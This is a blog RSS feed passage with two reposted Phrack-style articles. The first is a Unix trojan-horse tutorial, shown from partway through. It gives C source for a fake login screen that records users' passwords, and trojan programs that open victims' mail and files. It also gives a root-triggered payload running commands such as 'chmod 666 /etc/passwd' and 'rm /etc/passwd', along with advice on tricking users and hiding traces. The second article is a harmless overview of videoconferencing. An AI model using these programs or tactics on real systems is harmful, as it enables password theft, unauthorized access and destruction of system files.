<p>define SYSTEM &#8220;\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n&#8221;</p>
<p>/* The above string should be made to look like the message that your<br />
* system prints when ready.  Each \n represents a carriage return.<br />
*/</p>
<p>define LOGIN  &#8220;login: &#8220;</p>
<p>/* The above is the login prompt.  You shouldn&#8217;t have to change it<br />
* unless you&#8217;re running some strange version of UNIX.<br />
*/</p>
<p>define PASSWORD &#8220;password:&#8221;</p>
<p>/* The above is the password prompt.  You shouldn&#8217;t have to change<br />
* it, either.<br />
*/</p>
<p>define WAIT 2</p>
<p>/* The numerical value assigned to WAIT is the delay you get after<br />
* &#8220;password:&#8221; and before &#8220;login incorrect.&#8221;  Change it (0 = almost<br />
* no delay, 5 = LONG delay) so it looks like your system&#8217;s delay.<br />
* realism is the key here &#8211; we don&#8217;t want our target to become<br />
* suspicious.<br />
*/</p>
<p>define INCORRECT &#8220;Login incorrect.\n&#8221;</p>
<p>/* Change the above so it is what your system says when an incorrect<br />
* login is given.  You shouldn&#8217;t have to change it.<br />
*/</p>
<p>define FILENAME &#8220;stuff&#8221;</p>
<p>/* FILENAME is the name of the file that the hacked passwords will<br />
* be put into automatically.  &#8216;stuff&#8217; is a perfectly good name.<br />
*/</p>
<p>/* Don&#8217;t change the rest of the program unless there is a need to<br />
* and you know &#8216;C&#8217;.<br />
*/</p>
<p>include &lt;curses.h&gt;<br />
include &lt;signal.h&gt;<br />
int stop();</p>
<p>main()<br />
{<br />
char name[10], password[10];<br />
int i;<br />
FILE *fp, *fopen();<br />
signal(SIGINT,stop);<br />
initscr();<br />
printf(SYSTEM);<br />
printf(LOGIN);<br />
scanf(&#8220;%[^\n]&#8220;,name);<br />
getchar();<br />
noecho();<br />
printf(PASSWORD);<br />
scanf(&#8220;%[^\n]&#8220;,password);<br />
printf(&#8220;\n&#8221;);<br />
getchar();<br />
echo();<br />
sleep(WAIT);</p>
<p>if ( ( fp = fopen(FILENAME,&#8221;a&#8221;) )  != NULL ) {<br />
fprintf(fp,&#8221;login %s has password %s\n&#8221;,name,password);<br />
fclose(fp);<br />
}</p>
<p>printf(INCORRECT);<br />
endwin();<br />
}</p>
<p>stop()<br />
{<br />
endwin();<br />
exit(0);<br />
}</p>
<p>&#8212;&#8211; Source Ends Here &#8212;&#8211;</p>
<p>OK, as I said, enter the above and configure it so it looks exactly<br />
like your system&#8217;s login sequence.  To compile this program called<br />
&#8216;horse.c&#8217; type the following two lines: (don&#8217;t type the %&#8217;s, they are<br />
just a sample prompt)</p>
<p>% cc horse.c -lcurses -ltermcap<br />
% mv a.out horse</p>
<p>You now have the working object code in a file called &#8216;horse&#8217;.  Run it, and if it doesn&#8217;t look like your systems logon sequence, re-edit horse.c and re-compile it.  When you&#8217;re ready to put the program into use, create a new file and call it &#8216;trap&#8217; or something.  &#8216;trap&#8217; should have these two commands:</p>
<p>horse                    (this runs your program)<br />
login                    (this runs the real login program)</p>
<p>to execute &#8216;trap&#8217; type:</p>
<p>% source trap            (again, don&#8217;t type the %)</p>
<p>and walk away from your terminal&#8230;</p>
<p>After you&#8217;ve run it successfully a few times, check your file called<br />
&#8216;stuff&#8217; (or whatever you decided to call it).  It will look like this:</p>
<p>user john has password secret<br />
user mary has password smegma<br />
etc.</p>
<p>Copy down these passwords, then delete this file (it can be VERY<br />
incriminating if the superuser sees it).</p>
<p>Note &#8211; for best results your terminal should be set to time-out after a few minutes of non-use &#8211; that way, your horse program doesn&#8217;t run idle for 14 hours if nobody uses the terminal you ran it on.</p>
<p>&#8212;&#8211;</p>
<p>The next projects can be run on a remote system, such as the VAX in Michigan you&#8217;ve hacked into, or Dartmouth&#8217;s UNIX system, or whatever. However, they require a little knowledge of the &#8216;C&#8217; language.  They&#8217;re not something for UNIX novices.</p>
<p>Project Two:  Reading Anybody&#8217;s Files<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>When somebody runs a program, they&#8217;re the owner of the process created and that program can do anything they would do, such as delete a file in their directory or making a file of theirs available for reading by anybody.</p>
<p>When people save old mail they get on a UNIX system, it&#8217;s put into a file called mbox in their home directory.  This file can be fun to read but is usually impossible for anybody but the file&#8217;s owner<br />
to read.  Here is a short program that will unlock (i.e. chmod 777, or let anybody on the system read, write or execute) the mbox file of the person who runs the program:</p>
<p>&#8212;&#8211; Code Begins Here &#8212;&#8211;</p>
<p>include &lt;pwd.h&gt;</p>
<p>struct passwd *getpwnam(name);<br />
struct passwd *p;<br />
char buf[255];</p>
<p>main()<br />
{<br />
p = getpwnam(getlogin());<br />
sprintf(buf,&#8221;%s/%s&#8221;,p-&gt;pw_dir,&#8221;mbox&#8221;);<br />
if ( access(buf,0) &gt; -1 ) {<br />
sprintf(buf,&#8221;chmod 777 %s/%s&#8221;,p-&gt;pw_dir,&#8221;mbox&#8221;);<br />
system(buf);<br />
}<br />
}</p>
<p>&#8212;&#8211; Code Ends Here &#8212;&#8211;</p>
<p>So the question is:  How do I get my target to run this program that&#8217;s<br />
in my directory?</p>
<p>If the system you&#8217;re on has a public-messages type of thing (on 4.xbsd, type &#8216;msgs&#8217;) you can advertise your program there.  Put the above code in another program &#8211; find a utility or game program in some magazine like UNIX WORLD and modify it and do the above before it does it&#8217;s real thing.  So if you have a program called tic-tac-toe and you&#8217;ve modified it to unlock the mbox file of the user before it plays tic-tac-toe with him, advertise &#8220;I have a new tic-tac-toe program running that you should all try.  It&#8217;s in my directory.&#8221; or whatever. If you don&#8217;t have means of telling everybody on the system via a public message, then just send mail to the specific people you want to trap.</p>
<p>If you can&#8217;t find a real program to modify, just take the above program and add this line between the two &#8216;}&#8217; lines at the end of the program:</p>
<p>printf(&#8220;Error opening tic-tac-toe data file.  Sorry!\n&#8221;);</p>
<p>when the program runs, it will print the above error message.  The user<br />
will think &#8220;Heh, that dude doesn&#8217;t know how to write a simple tic-tac-<br />
toe program!&#8221; but the joke&#8217;s on him &#8211; you can now read his mail.</p>
<p>If there&#8217;s a specific file in a user&#8217;s directory that you&#8217;d like to<br />
read (say it&#8217;s called &#8220;secret&#8221;) just throw together this general<br />
program:</p>
<p>main()<br />
{<br />
if ( access(&#8220;secret&#8221;,0) &gt; -1 ) system(&#8220;chmod 777 secret&#8221;);<br />
}</p>
<p>then &#8216;talk&#8217; or &#8216;write&#8217; to him and act like Joe Loser: &#8220;I wrote this program<br />
called super_star_wars, will you try it out?&#8221;</p>
<p>You can use your imagination.  Think of a command you&#8217;d like somebody<br />
to execute.  Then put it inside a system() call in a C program and<br />
trick them into running your program!</p>
<p>Here&#8217;s a very neat way of using the above technique:</p>
<p>Project Three: Become the superuser<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Write a program that you can get people to run.  Put this line in it somewhere:</p>
<p>if ( !strcmp(getlogin(),&#8221;root&#8221;) ) system(&#8220;whatever you want&#8221;);</p>
<p>This checks to see if the root login is running your program.  If he is, you can have him execute any shell command you&#8217;d like. Here are some suggestions:</p>
<p>&#8220;chmod 666 /etc/passwd&#8221;</p>
<p>/etc/passwd is the system&#8217;s password file.  The root owns this file.  Normally, everyone can read it (the passwords are encrypted) but only the root can write to it.  Take a look at it and see how it&#8217;s formatted if you don&#8217;t know already.  This command makes it possible for you to now write to the file &#8211; i.e. create unlimited accounts for yourself and your friends.</p>
<p>&#8220;chmod 666 /etc/group&#8221;</p>
<p>By adding yourself to some high-access groups, you can open many doors.</p>
<p>&#8220;chmod 666 /usr/lib/uucp/L.sys&#8221;</p>
<p>Look for this file on your system if it is on the uucp net.  It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it.  Find out who owns this file<br />
and get him to unknowingly execute a program to unlock it for you.<br />
&#8220;rm /etc/passwd&#8221;</p>
<p>If you can get the root to execute this command, the system&#8217;s passwd file will be removed and the system will go down and will not come up for some time to come.  This is very destructive.</p>
<p>&#8212;&#8211;</p>
<p>If you are going to go about adding a trojan horse program to the system, there are some rules you should follow.  If the hidden purpose is something major (such as unlocking the user&#8217;s mbox or deleting all<br />
of his files or something) this program shouldn&#8217;t be a program that people will be running a lot (such as a popular computer game) &#8211; once people discover that their files are public access the source of the<br />
problem will be discovered quite easily.  Save this purpose for a &#8216;test&#8217; program (such as a game you&#8217;re in the process of writing) that you ask individual people to run via mail or &#8216;chatting&#8217; with them.  As I said, this &#8216;test&#8217; program can bomb or print a phony error message after completing its task, and you will just tell the person &#8220;well, I guess it needs more work&#8221;, wait until they log off, and then read whatever file of theirs that you&#8217;ve unlocked.  If your trojan horse program&#8217;s sole purpose is to catch a specific user running it &#8211; such as the root or other high-powered user &#8211; you can put the code to do so in a program that will be run a lot by various users of the system.<br />
Your modification will remain dormant until he runs it. If you can&#8217;t find the source to &#8216;star trek&#8217; or whatever in C, just learn C and convert something from pascal.  It can&#8217;t hurt to learn C as it&#8217;s a great language.  We&#8217;ve just seen what it can do on a UNIX system.  Once you&#8217;ve caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you&#8217;ll never be caught.</p>
<p>That&#8217;s it&#8230;if you have any questions or comments or you just want to bitch at me, call this system:</p>
<p>The Matrix<br />
415/922-2008<br />
101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Reference[s]:</p>
<p>http://phrack.org</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/h4k33m.wordpress.com/7/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/h4k33m.wordpress.com/7/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/h4k33m.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/h4k33m.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/h4k33m.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=7&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://h4k33m.wordpress.com/2008/06/29/unix-trojan-horses/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6c86fdf25bc8b8f8b5a6b8d861f478f1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">h4k33m</media:title>
		</media:content>

		<media:content url="http://h4k33m.files.wordpress.com/2008/06/trojan-horse.jpg?w=239" medium="image" />
	</item>
		<item>
		<title>&#8220;Introduction to Videoconferencing&#8221;</title>
		<link>http://h4k33m.wordpress.com/2008/06/29/introduction-to-videoconferencing/</link>
		<comments>http://h4k33m.wordpress.com/2008/06/29/introduction-to-videoconferencing/#comments</comments>
		<pubDate>Sun, 29 Jun 2008 22:44:12 +0000</pubDate>
		<dc:creator>h4k33m</dc:creator>
				<category><![CDATA[techno]]></category>

		<guid isPermaLink="false">http://h4k33m.wordpress.com/?p=3</guid>
		<description><![CDATA[Videoconferencing is not just one thing. It takes several different forms and can be designed in many different ways. Most of these ways are probably still waiting to be discovered. First of all, there are two main categories of videoconferencing. There is Point-to-Point and Point-to-Multipoint. Point-to-point/Two-Way Videoconferencing &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Two-way videoconferencing enables people to conduct meetings [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=3&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Videoconferencing is not just one thing.  It takes several different forms and<br />
can be designed in many different ways.  Most of these ways are probably still<br />
waiting to be discovered.<a href="http://h4k33m.files.wordpress.com/2008/06/video_conferencing_picture_in_picture1.jpg"><img class="alignright size-medium wp-image-5" src="http://h4k33m.files.wordpress.com/2008/06/video_conferencing_picture_in_picture1.jpg?w=300&#038;h=269" alt="" width="300" height="269" /></a></p>
<p>First of all, there are two main categories of videoconferencing.  There is<br />
Point-to-Point and Point-to-Multipoint.</p>
<p>Point-to-point/Two-Way Videoconferencing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Two-way videoconferencing enables people to conduct meetings even though the<br />
participants are in separate locations.  Using interactive video and audio<br />
equipment, participants in one location can see, hear, and interact with<br />
colleagues in another location.</p>
<p>The most familiar example occurs regularly on TV.  When a newscaster in<br />
Washington interviews a head of state on the opposite side of the world<br />
&#8220;live,&#8221; that&#8217;s point-to-point, full-motion, full-color videoconferencing.<span id="more-3"></span></p>
<p>Point-to-multipoint/One-Way Videoconferencing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
The one-way videoconference allows an organization to present video<br />
information to large audiences in multiple locations at the same time.</p>
<p>One-way videoconferences are very different from two-way videoconferences in<br />
purpose and in implementation.  Two-way videoconferences allow small groups in<br />
two, or possibly several, locations to interact audio-visually.  In contrast,<br />
one-way videoconferences are designed to provide a one-way audio-visual<br />
presentation of information from an originating site to audiences at numerous<br />
receiving locations.</p>
<p>The remote &#8220;audiences&#8221; are not seen by the initiators of the presentation.<br />
However, since both types of videoconferencing take place in real time, live,<br />
the audience can participate over the phone.</p>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<p>There are two variations on the above listed categories of videoconferencing;<br />
Full-motion videoconferencing and freeze-frame videoconferencing.  Each<br />
carries its own set of system requirements and each accomplishes quite<br />
different tasks.</p>
<p>FULL-MOTION Videoconferencing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Full-motion videoconferencing is like watching television.  You can see<br />
participants in another location in color and in &#8220;real time&#8221; motion.  You can<br />
identify who is present (provided that they are within camera range) and who<br />
is speaking.  You can see facial expressions, hand gestures, and general body<br />
language.  Motion video is used primarily for images of people.</p>
<p>Motion Transmission On Wideband Channels<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
There is far more information in moving pictures then in a still image.<br />
Consequently, the size of the communications channel required to transmit and<br />
receive motion is far greater than that required for a still image.</p>
<p>Transmission of a television signal in its original analog form (as it would<br />
come from a TV camera), requires terrestrial television channels or a<br />
satellite transponder.  Terrestrial television channels are not readily<br />
available for occasional corporate use; satellite transponders are available.</p>
<p>Most systems therefore, incorporate digital compression techniques to reduce<br />
the bandwidth required for motion videoconferences.  Example:  An image in<br />
motion is refreshed on a television screen 30 times per second.  This means<br />
that the bandwidth necessary to transmit the image is very high, usually 1.5<br />
megabits per second (Mbps).</p>
<p>This bandwidth is beyond the capacity of the standard telephone cable.  A<br />
device called a &#8220;codec&#8221; digitizes the analog television signal and compresses<br />
it by eliminating redundant information.  Currently, codecs can reduce the<br />
bandwidth to 56 kilobits per second (Kbps) and it is hoped that this bandwidth<br />
can be compressed even further.</p>
<p>The resulting signal can be transmitted over less than full bandwidth<br />
channels. The picture is of somewhat less quality than the original analog<br />
image, but more than sufficient for most meetings.</p>
<p>FREEZE-FRAME Videoconferencing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Freeze-frame videoconferencing is like a slide show.  It captures still images<br />
either in color or black-and-white.  Freeze-frame &#8220;stills&#8221; of people seem<br />
unnatural and can be distracting.  Yet, freeze-frame video is best for still<br />
images of three-dimensional objects such as a product or a part, and for<br />
charts, drawings, graphics, and specially prepared presentation material.</p>
<p>Freeze-Frame Transmission On Narrow Band Channels<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
A freeze-frame system captures an image by stopping, or freezing any motion<br />
that might be present.  The image can be transmitted via analog or digital<br />
signals over narrow channels.  These channels are considerably narrower than<br />
those used for full-motion video conferencing.  In its simplest form,<br />
freeze-frame video can utilize ordinary telephone line transmission.  A single<br />
freeze-frame image will require at least 30 seconds to a minute or more for<br />
transmission.</p>
<p>In some systems, the freeze-frame image is displayed line by line as it is<br />
received.  This creates a vertical &#8220;waterfall&#8221; effect or a horizontal scanning<br />
effect.  In other systems, the incoming lines of picture information are<br />
stored in a buffer until the completed picture can be displayed as a whole.<br />
In still other systems, an image emerges in successively better resolution as<br />
additional picture information is received.</p>
<p>Enhancements To Freeze-Frame Video Systems<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
There are a number of ways to expand a freeze-frame video system&#8217;s<br />
capabilities.  One enhancement is telewriting.  With a &#8220;pen&#8221; connected to a<br />
telewriting device, users can point out a portion of a freeze-frame video<br />
image, overlaying lines and markings in various colors that are displayed at<br />
all locations as they are drawn.  Some telewriting devices include stored<br />
geometric shapes, logos, and symbols that can be transmitted as overlays to a<br />
freeze-frame image.  Zoom capability enables close-up analysis of portions of<br />
a display.</p>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<p>Personal Computers and Desktop Videoconferencing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Personal computers are beginning to be increasingly used with freeze-frame<br />
videoconferencing.   PCs are used for control, for the creation of graphics,<br />
and for storage and retrieval of graphics material.  There are signs that this<br />
evolution towards desktop videoconferencing has already begun.</p>
<p>The MINX (Multimedia Information Network Exchange) work station, recently<br />
announced by Datapoint Corporation, combines a camera and speakerphone with a<br />
high-resolution-color video graphics display screen.</p>
<p>The MINX can be configured with Datapoint&#8217;s Vista-PC or with the IBM PC, AT,<br />
or XT, in which case the PC monitor is replaced by the MINX.  A mode key on<br />
the workstation permits the user to shift between the video communications<br />
mode and the normal PC mode.</p>
<p>Another indication of this revolution is provided by Northern Telecom<br />
(creators of DMS-100, 200, &amp; 250), which recently added Meeting Communications<br />
Services (MCS) to its Meridian DV-1 voice/data system.  This option allows up<br />
to 24 participants to conduct simultaneous audio communication and up to eight<br />
participants to view, modify, and exchange data using Meridian M4000<br />
integrated terminals.</p>
<p>A third and final example is the Luma phone from Luma Telecom.  This device,<br />
which uses regular phone lines, combines audio with black-and-white<br />
freeze-frame video on a three-inch-diagonal screen.  Strictly a telephone<br />
product, the Luma phone has no computer features and will not transmit data.<br />
For more information on the Luma phone, please see the November, 1986 issue of<br />
The Sharper Image catalog.</p>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<p>Videoconferencing is the way of the future and its only drawback is that of<br />
economic cost.   Increased use of videoconferencing will depend a lot on the<br />
adoption of the Integrated Services Digital Network (ISDN), a standard,<br />
all-digital communications service promised by the regional Bell Operating<br />
Companies (BOCs).</p>
<p>ISDN will offer users 144 Kbs or more which can be allocated among various<br />
communications tasks&#8211;data, voice, or video&#8211;in whatever proportion is<br />
necessary.  This means that the available bandwidth could support simultaneous<br />
audio and video communication.<br />
______________________________________________________________________________</p>
<p>original source :</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>http://phrack.org/</p>
<p>References:<br />
&#8212;&#8212;&#8212;-</p>
<p>&#8220;Electronic Meetings:  Substitutes With Substance?,&#8221; by Sam Dickey, Today&#8217;s<br />
Office, July 1986.</p>
<p>&#8220;Getting The Full Picture On Corporate Videoconferencing,&#8221; by Marita Thomas,<br />
Facilities Design &amp; Management, June 1986.</p>
<p>&#8220;The Lid Is Off ISDN,&#8221; Tomorrow&#8217;s Communication Connection, April 1986.</p>
<p>&#8220;Videoconferencing;  An Alternative Solution,&#8221; Corporate Informations Systems,<br />
General Electric (GE).</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/h4k33m.wordpress.com/3/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/h4k33m.wordpress.com/3/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/h4k33m.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/h4k33m.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/h4k33m.wordpress.com/3/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=3&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://h4k33m.wordpress.com/2008/06/29/introduction-to-videoconferencing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6c86fdf25bc8b8f8b5a6b8d861f478f1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">h4k33m</media:title>
		</media:content>

		<media:content url="http://h4k33m.files.wordpress.com/2008/06/video_conferencing_picture_in_picture1.jpg?w=300" medium="image" />
	</item>
	</channel>
</rss>
